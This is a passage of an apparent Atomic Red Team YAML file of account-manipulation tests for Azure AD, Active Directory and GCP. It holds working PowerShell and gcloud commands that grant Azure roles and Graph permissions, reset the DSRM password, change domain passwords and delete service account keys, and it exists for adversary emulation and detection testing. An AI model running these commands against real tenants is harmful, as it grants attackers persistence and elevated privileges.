          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzAccount -Credential $Credential

          $user = Get-AzADUser | where-object {$_.DisplayName -eq "#{user_principal_name}" -or $_.UserPrincipalName -eq "#{user_principal_name}" }
          if ($user -eq $null) { Write-Warning "User not found"; exit }
          $subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"}
          if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
          $role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
          if ($role -eq $null) { Write-Warning "Role not found"; exit }

          New-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
          Write-Host "User $($user.DisplayName) was added to $($role.Name) role in subscriptions $($subscriptions.Name)"
        cleanup_command: |
          Import-Module -Name AzureAD -ErrorAction Ignore
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzAccount -Credential $Credential -ErrorAction Ignore

          $user = Get-AzADUser | where-object {$_.DisplayName -eq "#{user_principal_name}" -or $_.UserPrincipalName -eq "#{user_principal_name}" }
          if ($user -eq $null) { Write-Warning "User not found"; exit }
          $subscription = Get-AzSubscription | where-object {$_.Name -eq "#{subscription}"}
          if ($subscription -eq $null) { Write-Warning "Subscription not found"; exit }
          $role = Get-AzRoleDefinition | where-object {$_.Name -eq "#{role_name}"}
          if ($role -eq $null) { Write-Warning "Role not found"; exit }

          Remove-AzRoleAssignment -ObjectId $user.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription
          Write-Host "User Principal $($sp.DisplayName) was removed from $($role.Name) role in subscriptions $($subscriptions.Name)"
        name: powershell
        elevation_required: false
    - name: Azure - adding service principal to Azure role in subscription
      auto_generated_guid: c8f4bc29-a151-48da-b3be-4680af56f404
      description: "The adversaries want to add service principal to some Azure role,
        also called Azure resource role. Threat actor \nmay be interested primarily
        in highly privileged roles, e.g. Owner, Contributor.\nBy default, the role
        Reader is assigned to service principal in this test.\n\nNew-AzRoleAssignment
        cmdlet could be also use to assign user/service principal to resource, resource
        group and management group.\n\nThe account you use to run the PowerShell command
        must have Microsoft.Authorization/roleAssignments/write \n(e.g. such as User
        Access Administrator or Owner) and the Azure Active Directory Graph Directory.Read.All
        \nand Microsoft Graph Directory.Read.All permissions.\n\nDetection hint -
        check Operation Name \"Create role assignment\" in subscriptions Activity
        Logs.\n"
      supported_platforms:
      - iaas:azure
      input_arguments:
        username:
          description: Azure AD username
          type: string
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: string
          default: p4sswd
        service_principal_name:
          description: Name of the service principal
          type: string
          default: SuperSP
        role_name:
          description: Name of the targeted Azure role
          type: string
          default: Reader
        subscription:
          description: Name of the targeted subscription
          type: string
          default: Azure subscription 1
      dependencies:
      - description: 'Az.Resources module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name Az.Resources -ErrorAction
          SilentlyContinue) {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name Az.Resources -Force

          '
      executor:
        command: "Import-Module -Name Az.Resources\n$PWord = ConvertTo-SecureString
          -String \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName
          System.Management.Automation.PSCredential -ArgumentList \"#{username}\",
          $Pword\nConnect-AzAccount -Credential $Credential\n\n$sp = Get-AzADServicePrincipal
          | where-object {$_.DisplayName -eq \"#{service_principal_name}\"}\nif ($sp
          -eq $null) { Write-Warning \"Service Principal not found\"; exit }\n$subscription
          = Get-AzSubscription | where-object {$_.Name -eq \"#{subscription}\"} \nif
          ($subscription -eq $null) { Write-Warning \"Subscription not found\"; exit
          }\n$role = Get-AzRoleDefinition | where-object {$_.Name -eq \"#{role_name}\"}\nif
          ($role -eq $null) { Write-Warning \"Role not found\"; exit }\n\nNew-AzRoleAssignment
          -ObjectId $sp.id -RoleDefinitionId $role.id -Scope /subscriptions/$subscription\nWrite-Host
          \"Service Principal $($sp.DisplayName) was added to $($role.Name) role in
          subscriptions $($subscriptions.Name)\"\n"
        cleanup_command: "Import-Module -Name AzureAD -ErrorAction Ignore\n$PWord
          = ConvertTo-SecureString -String \"#{password}\" -AsPlainText -Force\n$Credential
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          \"#{username}\", $Pword\nConnect-AzAccount -Credential $Credential -ErrorAction
          Ignore\n\n$sp = Get-AzADServicePrincipal | where-object {$_.DisplayName
          -eq \"#{service_principal_name}\"}\nif ($sp -eq $null) { Write-Warning \"Service
          Principal not found\"; exit }\n$subscription = Get-AzSubscription | where-object
          {$_.Name -eq \"#{subscription}\"} \nif ($subscription -eq $null) { Write-Warning
          \"Subscription not found\"; exit }\n$role = Get-AzRoleDefinition | where-object
          {$_.Name -eq \"#{role_name}\"}\nif ($role -eq $null) { Write-Warning \"Role
          not found\"; exit }\n\nRemove-AzRoleAssignment -ObjectId $sp.id -RoleDefinitionId
          $role.id -Scope /subscriptions/$subscription\nWrite-Host \"Service Principal
          $($sp.DisplayName) was removed from $($role.Name) role in subscriptions
          $($subscriptions.Name)\"\n"
        name: powershell
        elevation_required: false
    - name: Azure AD - adding permission to application
      auto_generated_guid: 94ea9cc3-81f9-4111-8dde-3fb54f36af4b
      description: |
        The adversaries want to add permission to newly created application. Application could be then used for persistence or for further operation in the attacked infrastructure. Permissions like AppRoleAssignment.ReadWrite.All or RoleManagement.ReadWrite.Directory in particular can be a valuable target for a threat actor.
        This technique will create a new app, with the provided name, and give it the provided permission. But if you prefer to add credentials to an existing app, replace in the code: "Get-AzureADApplication" instead of "New-AzureADServicePrincipal".
        The DirectoryRecommendations.Read.All permissions has been selected as the default.

        The account you use to run the PowerShell command should have Global Administrator/Application Administrator/Cloud Application Administrator role in your Azure AD.

        Detection hint - check Operation Name "Add app role assignment to service principal" in subscriptions Activity Logs.
        You can also take a look at the materials:
        https://learnsentinel.blog/2022/01/04/azuread-privesc-sentinel/
        https://github.com/reprise99/Sentinel-Queries
        https://docs.google.com/presentation/d/1AWx1w0Xcq8ENvOmSjAJswEgEio-il09QWZlGg9PbHqE/edit#slide=id.g10460eb209c_0_2766
        https://gist.github.com/andyrobbins/7c3dd62e6ed8678c97df9565ff3523fb
      supported_platforms:
      - azure-ad
      input_arguments:
        username:
          description: Azure AD username
          type: string
          default: jonh@contoso.com
        password:
          description: Azure AD password
          type: string
          default: p4sswd
        application_name:
          description: Name of the targeted application that will be created
          type: string
          default: test_app
        application_permission:
          description: Permission from Microsoft Graph Resource API that will be added
            to application
          type: string
          default: DirectoryRecommendations.Read.All
      dependencies:
      - description: 'AzureAD module must be installed.

          '
        prereq_command: 'try {if (Get-InstalledModule -Name AzureAD -ErrorAction SilentlyContinue)
          {exit 0} else {exit 1}} catch {exit 1}

          '
        get_prereq_command: 'Install-Module -Name AzureAD -Force

          '
      executor:
        command: "Import-Module -Name AzureAD\n$PWord = ConvertTo-SecureString -String
          \"#{password}\" -AsPlainText -Force\n$Credential = New-Object -TypeName
          System.Management.Automation.PSCredential -ArgumentList \"#{username}\",
          $Pword\nConnect-AzureAD -Credential $Credential\n\n$aadApplication = New-AzureADApplication
          -DisplayName \"#{application_name}\"\n$servicePrincipal = New-AzureADServicePrincipal
          -AppId $aadApplication.AppId\n#$aadApplication = Get-AzureADApplication
          -Filter \"DisplayName eq '#{application_name}'\"\n\n#Get Service Principal
          of Microsoft Graph Resource API \n$graphSP = Get-AzureADServicePrincipal
          -Filter \"DisplayName eq 'Microsoft Graph'\"\n\n#Initialize RequiredResourceAccess
          for Microsoft Graph Resource API \n$requiredGraphAccess = New-Object Microsoft.Open.AzureAD.Model.RequiredResourceAccess\n$requiredGraphAccess.ResourceAppId
          = $graphSP.AppId\n$requiredGraphAccess.ResourceAccess = New-Object System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.ResourceAccess]\n\n#Set
          Application Permissions\n$ApplicationPermissions = @('#{application_permission}')\n\n$reqPermission
          = $graphSP.AppRoles | Where-Object {$_.Value -eq $ApplicationPermissions}\nif($reqPermission)\n{\n$resourceAccess
          = New-Object Microsoft.Open.AzureAD.Model.ResourceAccess\n$resourceAccess.Type
          = \"Role\"\n$resourceAccess.Id = $reqPermission.Id    \n#Add required app
          permission\n$requiredGraphAccess.ResourceAccess.Add($resourceAccess)\n}\nelse\n{\nWrite-Host
          \"App permission $permission not found in the Graph Resource API\" -ForegroundColor
          Red\n}\n\n#Add required resource accesses\n$requiredResourcesAccess = New-Object
          System.Collections.Generic.List[Microsoft.Open.AzureAD.Model.RequiredResourceAccess]\n$requiredResourcesAccess.Add($requiredGraphAccess)\n\n#Set
          permissions in existing Azure AD App\nSet-AzureADApplication -ObjectId $aadApplication.ObjectId
          -RequiredResourceAccess $requiredResourcesAccess\n\n$servicePrincipal =
          Get-AzureADServicePrincipal -Filter \"AppId eq '$($aadApplication.AppId)'\"\n\nNew-AzureADServiceAppRoleAssignment
          -ObjectId $servicePrincipal.ObjectId -PrincipalId $servicePrincipal.ObjectId
          -ResourceId $graphSP.ObjectId -Id $reqPermission.Id\n"
        cleanup_command: |
          Import-Module -Name AzureAD
          $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
          $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword
          Connect-AzureAD -Credential $Credential

          $aadApplication = @(Get-AzureADApplication -Filter "DisplayName eq '#{application_name}'")
          If ($aadApplication.Count -eq 0)
          {
            Write-Host "App not found: cannot delete it"
            exit
          }
          ElseIf ($aadApplication.Count -gt 1)
          {
            Write-Host "Found several app with name '#{application_name}': one is likely the one this technique created, but as a precaution, none will be deleted. Manual cleanup is required."
            exit
          }
          Else
          {
            Remove-AzureADApplication -ObjectId $aadApplication[0].ObjectId
            Write-Host "Successfully deleted app"
          }
        name: powershell
        elevation_required: false
    - name: Password Change on Directory Service Restore Mode (DSRM) Account
      auto_generated_guid: d5b886d9-d1c7-4b6e-a7b0-460041bf2823
      description: 'Change the password on the Directory Service Restore Mode (DSRM)
        account using ntdsutil by syncing to existing account

        '
      supported_platforms:
      - windows
      input_arguments:
        sync_account:
          description: Account to sync password from
          type: string
          default: "%username%"
      executor:
        name: command_prompt
        elevation_required: true
        command: 'ntdsutil "set dsrm password" "sync from domain account #{sync_account}"
          "q" "q"

          '
    - name: 'Domain Password Policy Check: Short Password'
      auto_generated_guid: fc5f9414-bd67-4f5f-a08e-e5381e29cbd1
      description: |
        Attempt to change the password of the current domain user in order to check password policy. Ideally, you would only run this atomic test to verify that your password policy is blocking the use of the new password.
        If the password is succesfully changed to the new password, the credential file will be updated to reflect the new password.  You can then run the atomic manually and specify a new password of your choosing, however the
        password policy will likely prevent you from setting the password back to what it was.
      supported_platforms:
      - windows
      input_arguments:
        new_password:
          description: The password to set for the current domain user (default value
            is 7 characters)
          type: string
          default: Uplow-1
        cred_file:
          description: A file containing the password of the current user
          type: path
          default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt"
      dependencies:
      - description: 'Password for current user must be stored in a credential file

          '
        prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null
          $cred = Get-Credential -UserName  $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt"
          $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}"
      executor:
        name: powershell
        command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n    $cred
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n    if($cred.GetNetworkCredential().Password
          -eq \"#{new_password}\"){\n      Write-Host -ForegroundColor Yellow \"The
          new password is the same as the password stored in the credential file.
          Please specify a different new password.\"; exit -1\n    }\n    try {\n
          \       $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText
          -Force\n        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword
          $cred.password -NewPassword $newPassword\n    }\n    catch { \n        $_.Exception\n
          \       $errCode = $_.Exception.ErrorCode\n        Write-Host \"Error code:
          $errCode\"\n        if ($errCode -eq 86) {\n            Write-Host -ForegroundColor
          Yellow \"The stored password for the current user is incorrect. Please run
          the prereq commands to set the correct credentials\"\n            Remove-Item
          $credFile\n        }\n        exit $errCode\n    }\n    Write-Host -ForegroundColor
          Cyan \"Successfully changed the password to #{new_password}\"\n    $newCred
          = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString
          \"#{new_password}\" -AsPlainText -Force))\n    $newCred.Password | ConvertFrom-SecureString
          | Out-File $credFile\n}\nelse {\n    Write-Host -ForegroundColor Yellow
          \"You must store the password of the current user by running the prerequisite
          commands first\"\n}\n"
    - name: 'Domain Password Policy Check: No Number in Password'
      auto_generated_guid: 68190529-069b-4ffc-a942-919704158065
      description: "Attempt to change the password of the current domain user in order
        to check password policy. Ideally, you would only run this atomic test to
        verify that your password policy is blocking the use of the new password.\nIf
        the password is succesfully changed to the new password, the credential file
        will be updated to reflect the new password. You can then run the atomic manually
        and specify a new password of your choosing, however the\npassword policy
        will likely prevent you from setting the password back to what it was. \n"
      supported_platforms:
      - windows
      input_arguments:
        new_password:
          description: The password to set for the current domain user (default is
            long and has upper and lower case and special character but no number)
          type: string
          default: UpperLowerLong-special
        cred_file:
          description: A file containing the password of the current user
          type: path
          default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt"
      dependencies:
      - description: 'Password for current user must be stored in a credential file

          '
        prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null
          $cred = Get-Credential -UserName  $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt"
          $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}"
      executor:
        name: powershell
        command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n    $cred
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n    if($cred.GetNetworkCredential().Password
          -eq \"#{new_password}\"){\n      Write-Host -ForegroundColor Yellow \"The
          new password is the same as the password stored in the credential file.
          Please specify a different new password.\"; exit -1\n    }\n    try {\n
          \       $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText
          -Force\n        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword
          $cred.password -NewPassword $newPassword\n    }\n    catch { \n        $_.Exception\n
          \       $errCode = $_.Exception.ErrorCode\n        Write-Host \"Error code:
          $errCode\"\n        if ($errCode -eq 86) {\n            Write-Host -ForegroundColor
          Yellow \"The stored password for the current user is incorrect. Please run
          the prereq commands to set the correct credentials\"\n            Remove-Item
          $credFile\n        }\n        exit $errCode\n    }\n    Write-Host -ForegroundColor
          Cyan \"Successfully changed the password to #{new_password}\"\n    $newCred
          = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString
          \"#{new_password}\" -AsPlainText -Force))\n    $newCred.Password | ConvertFrom-SecureString
          | Out-File $credFile\n}\nelse {\n    Write-Host -ForegroundColor Yellow
          \"You must store the password of the current user by running the prerequisite
          commands first\"\n}\n"
    - name: 'Domain Password Policy Check: No Special Character in Password'
      auto_generated_guid: 7d984ef2-2db2-4cec-b090-e637e1698f61
      description: "Attempt to change the password of the current domain user in order
        to check password policy. Ideally, you would only run this atomic test to
        verify that your password policy is blocking the use of the new password.\nIf
        the password is succesfully changed to the new password, the credential file
        will be updated to reflect the new password. You can then run the atomic manually
        and specify a new password of your choosing, however the\npassword policy
        will likely prevent you from setting the password back to what it was. \n"
      supported_platforms:
      - windows
      input_arguments:
        new_password:
          description: The password to set for the current domain user (default is
            long and has upper and lower case and number but no special character)
          type: string
          default: UpperLowerLong333noSpecialChar
        cred_file:
          description: A file containing the password of the current user
          type: path
          default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt"
      dependencies:
      - description: 'Password for current user must be stored in a credential file

          '
        prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null
          $cred = Get-Credential -UserName  $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt"
          $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}"
      executor:
        name: powershell
        command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n    $cred
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n    if($cred.GetNetworkCredential().Password
          -eq \"#{new_password}\"){\n      Write-Host -ForegroundColor Yellow \"The
          new password is the same as the password stored in the credential file.
          Please specify a different new password.\"; exit -1\n    }\n    try {\n
          \       $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText
          -Force\n        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword
          $cred.password -NewPassword $newPassword\n    }\n    catch { \n        $_.Exception\n
          \       $errCode = $_.Exception.ErrorCode\n        Write-Host \"Error code:
          $errCode\"\n        if ($errCode -eq 86) {\n            Write-Host -ForegroundColor
          Yellow \"The stored password for the current user is incorrect. Please run
          the prereq commands to set the correct credentials\"\n            Remove-Item
          $credFile\n        }\n        exit $errCode\n    }\n    Write-Host -ForegroundColor
          Cyan \"Successfully changed the password to #{new_password}\"\n    $newCred
          = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString
          \"#{new_password}\" -AsPlainText -Force))\n    $newCred.Password | ConvertFrom-SecureString
          | Out-File $credFile\n}\nelse {\n    Write-Host -ForegroundColor Yellow
          \"You must store the password of the current user by running the prerequisite
          commands first\"\n}\n"
    - name: 'Domain Password Policy Check: No Uppercase Character in Password'
      auto_generated_guid: b299c120-44a7-4d68-b8e2-8ba5a28511ec
      description: "Attempt to change the password of the current domain user in order
        to check password policy. Ideally, you would only run this atomic test to
        verify that your password policy is blocking the use of the new password.\nIf
        the password is succesfully changed to the new password, the credential file
        will be updated to reflect the new password. You can then run the atomic manually
        and specify a new password of your choosing, however the\npassword policy
        will likely prevent you from setting the password back to what it was. \n"
      supported_platforms:
      - windows
      input_arguments:
        new_password:
          description: The password to set for the current domain user (default is
            long and has and lower case and special character and number but no uppercase)
          type: string
          default: lower-long-special-333
        cred_file:
          description: A file containing the password of the current user
          type: path
          default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt"
      dependencies:
      - description: 'Password for current user must be stored in a credential file

          '
        prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null
          $cred = Get-Credential -UserName  $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt"
          $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}"
      executor:
        name: powershell
        command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n    $cred
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n    if($cred.GetNetworkCredential().Password
          -eq \"#{new_password}\"){\n      Write-Host -ForegroundColor Yellow \"The
          new password is the same as the password stored in the credential file.
          Please specify a different new password.\"; exit -1\n    }\n    try {\n
          \       $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText
          -Force\n        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword
          $cred.password -NewPassword $newPassword\n    }\n    catch { \n        $_.Exception\n
          \       $errCode = $_.Exception.ErrorCode\n        Write-Host \"Error code:
          $errCode\"\n        if ($errCode -eq 86) {\n            Write-Host -ForegroundColor
          Yellow \"The stored password for the current user is incorrect. Please run
          the prereq commands to set the correct credentials\"\n            Remove-Item
          $credFile\n        }\n        exit $errCode\n    }\n    Write-Host -ForegroundColor
          Cyan \"Successfully changed the password to #{new_password}\"\n    $newCred
          = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString
          \"#{new_password}\" -AsPlainText -Force))\n    $newCred.Password | ConvertFrom-SecureString
          | Out-File $credFile\n}\nelse {\n    Write-Host -ForegroundColor Yellow
          \"You must store the password of the current user by running the prerequisite
          commands first\"\n}\n"
    - name: 'Domain Password Policy Check: No Lowercase Character in Password'
      auto_generated_guid: 945da11e-977e-4dab-85d2-f394d03c5887
      description: "Attempt to change the password of the current domain user in order
        to check password policy. Ideally, you would only run this atomic test to
        verify that your password policy is blocking the use of the new password.\nIf
        the password is succesfully changed to the new password, the credential file
        will be updated to reflect the new password. You can then run the atomic manually
        and specify a new password of your choosing, however the\npassword policy
        will likely prevent you from setting the password back to what it was. \n"
      supported_platforms:
      - windows
      input_arguments:
        new_password:
          description: The password to set for the current domain user (default is
            long and has and upper case and special character and number but no lowercase)
          type: string
          default: UPPER-LONG-SPECIAL-333
        cred_file:
          description: A file containing the password of the current user
          type: path
          default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt"
      dependencies:
      - description: 'Password for current user must be stored in a credential file

          '
        prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null
          $cred = Get-Credential -UserName  $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt"
          $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}"
      executor:
        name: powershell
        command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n    $cred
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n    if($cred.GetNetworkCredential().Password
          -eq \"#{new_password}\"){\n      Write-Host -ForegroundColor Yellow \"The
          new password is the same as the password stored in the credential file.
          Please specify a different new password.\"; exit -1\n    }\n    try {\n
          \       $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText
          -Force\n        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword
          $cred.password -NewPassword $newPassword\n    }\n    catch { \n        $_.Exception\n
          \       $errCode = $_.Exception.ErrorCode\n        Write-Host \"Error code:
          $errCode\"\n        if ($errCode -eq 86) {\n            Write-Host -ForegroundColor
          Yellow \"The stored password for the current user is incorrect. Please run
          the prereq commands to set the correct credentials\"\n            Remove-Item
          $credFile\n        }\n        exit $errCode\n    }\n    Write-Host -ForegroundColor
          Cyan \"Successfully changed the password to #{new_password}\"\n    $newCred
          = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString
          \"#{new_password}\" -AsPlainText -Force))\n    $newCred.Password | ConvertFrom-SecureString
          | Out-File $credFile\n}\nelse {\n    Write-Host -ForegroundColor Yellow
          \"You must store the password of the current user by running the prerequisite
          commands first\"\n}\n"
    - name: 'Domain Password Policy Check: Only Two Character Classes'
      auto_generated_guid: 784d1349-5a26-4d20-af5e-d6af53bae460
      description: "Attempt to change the password of the current domain user in order
        to check password policy. Ideally, you would only run this atomic test to
        verify that your password policy is blocking the use of the new password.\nIf
        the password is succesfully changed to the new password, the credential file
        will be updated to reflect the new password. You can then run the atomic manually
        and specify a new password of your choosing, however the\npassword policy
        will likely prevent you from setting the password back to what it was. \n"
      supported_platforms:
      - windows
      input_arguments:
        new_password:
          description: The password to set for the current domain user (default has
            only upper and lower case characters)
          type: string
          default: onlyUPandLowChars
        cred_file:
          description: A file containing the password of the current user
          type: path
          default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt"
      dependencies:
      - description: 'Password for current user must be stored in a credential file

          '
        prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null
          $cred = Get-Credential -UserName  $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt"
          $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}"
      executor:
        name: powershell
        command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n    $cred
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n    if($cred.GetNetworkCredential().Password
          -eq \"#{new_password}\"){\n      Write-Host -ForegroundColor Yellow \"The
          new password is the same as the password stored in the credential file.
          Please specify a different new password.\"; exit -1\n    }\n    try {\n
          \       $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText
          -Force\n        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword
          $cred.password -NewPassword $newPassword\n    }\n    catch { \n        $_.Exception\n
          \       $errCode = $_.Exception.ErrorCode\n        Write-Host \"Error code:
          $errCode\"\n        if ($errCode -eq 86) {\n            Write-Host -ForegroundColor
          Yellow \"The stored password for the current user is incorrect. Please run
          the prereq commands to set the correct credentials\"\n            Remove-Item
          $credFile\n        }\n        exit $errCode\n    }\n    Write-Host -ForegroundColor
          Cyan \"Successfully changed the password to #{new_password}\"\n    $newCred
          = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString
          \"#{new_password}\" -AsPlainText -Force))\n    $newCred.Password | ConvertFrom-SecureString
          | Out-File $credFile\n}\nelse {\n    Write-Host -ForegroundColor Yellow
          \"You must store the password of the current user by running the prerequisite
          commands first\"\n}\n"
    - name: 'Domain Password Policy Check: Common Password Use'
      auto_generated_guid: 81959d03-c51f-49a1-bb24-23f1ec885578
      description: "Attempt to change the password of the current domain user in order
        to check password policy. Ideally, you would only run this atomic test to
        verify that your password policy is blocking the use of the new password.\nIf
        the password is succesfully changed to the new password, the credential file
        will be updated to reflect the new password. You can then run the atomic manually
        and specify a new password of your choosing, however the\npassword policy
        will likely prevent you from setting the password back to what it was. \n"
      supported_platforms:
      - windows
      input_arguments:
        new_password:
          description: The password to set for the current domain user (default is
            Season and current year combo)
          type: string
          default: Spring$((Get-Date).Year)!
        cred_file:
          description: A file containing the password of the current user
          type: path
          default: "$env:LOCALAPPDATA\\AtomicRedTeam\\$env:USERNAME.txt"
      dependencies:
      - description: 'Password for current user must be stored in a credential file

          '
        prereq_command: 'if (Test-Path #{cred_file}) {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{cred_file}") -ErrorAction Ignore | Out-Null
          $cred = Get-Credential -UserName  $env:USERNAME -message "Enter password for $env:USERNAME to use during password change attempt"
          $cred.Password | ConvertFrom-SecureString | Out-File "#{cred_file}"
      executor:
        name: powershell
        command: "$credFile = \"#{cred_file}\"\nif (Test-Path $credFile) {\n    $cred
          = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList
          $env:USERNAME, (Get-Content $credFile | ConvertTo-SecureString)\n    if($cred.GetNetworkCredential().Password
          -eq \"#{new_password}\"){\n      Write-Host -ForegroundColor Yellow \"The
          new password is the same as the password stored in the credential file.
          Please specify a different new password.\"; exit -1\n    }\n    try {\n
          \       $newPassword = ConvertTo-SecureString #{new_password} -AsPlainText
          -Force\n        Set-ADAccountPassword -Identity $env:USERNAME -OldPassword
          $cred.password -NewPassword $newPassword\n    }\n    catch { \n        $_.Exception\n
          \       $errCode = $_.Exception.ErrorCode\n        Write-Host \"Error code:
          $errCode\"\n        if ($errCode -eq 86) {\n            Write-Host -ForegroundColor
          Yellow \"The stored password for the current user is incorrect. Please run
          the prereq commands to set the correct credentials\"\n            Remove-Item
          $credFile\n        }\n        exit $errCode\n    }\n    Write-Host -ForegroundColor
          Cyan \"Successfully changed the password to #{new_password}\"\n    $newCred
          = New-Object System.Management.Automation.PSCredential ($env:USERNAME, $(ConvertTo-SecureString
          \"#{new_password}\" -AsPlainText -Force))\n    $newCred.Password | ConvertFrom-SecureString
          | Out-File $credFile\n}\nelse {\n    Write-Host -ForegroundColor Yellow
          \"You must store the password of the current user by running the prerequisite
          commands first\"\n}\n"
    - name: GCP - Delete Service Account Key
      auto_generated_guid: 7ece1dea-49f1-4d62-bdcc-5801e3292510
      description: "This Atomic will: \n  - Create a service account\n  - Create a
        service account key, \n  - Store the result of retrieving a single key for
        that service account as a variable\n  - Pass that variable for deletion\n
        \ - Delete the service account\n\nThe idea for this Atomic came from a Rule
        published by the Elastic team.\n\nIdentifies the deletion of an Identity and
        Access Management (IAM) service account key in Google Cloud Platform (GCP).\nEach
        service account is associated with two sets of public/private RSA key pairs
        that are used to authenticate. \nIf a key is deleted, the application will
        no longer be able to access Google Cloud resources using that key. A security
        best practice is to rotate your service account keys regularly.\n\nReference:
        https://github.com/elastic/detection-rules/blob/main/rules/integrations/gcp/impact_gcp_storage_bucket_deleted.toml\n"
      supported_platforms:
      - iaas:gcp
      input_arguments:
        project_id:
          description: ID of the GCP Project you to execute the command against.
          type: string
          default: atomic-test-1
        service_name:
          description: The name of the service account.
          type: string
          default: atomic-service-account
      executor:
        name: sh
        elevation_required: false
        command: |
          gcloud config set project #{project_id}
          KEY=`gcloud iam service-accounts keys list --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --format="value(KEY_ID)" --limit=1`
          gcloud iam service-accounts keys delete $KEY --iam-account=#{service_name}@#{project_id}.iam.gserviceaccount.com --quiet
        cleanup_command: |
          cd "$PathToAtomicsFolder/T1098/src/T1098-17/"
          terraform state rm google_service_account_key.key
          terraform destroy -auto-approve
      dependency_executor_name: sh
      dependencies:
      - description: 'Requires gcloud

          '
        prereq_command: 'if [ -x "$(command -v gcloud)" ]; then exit 0; else exit
          1; fi;

          '
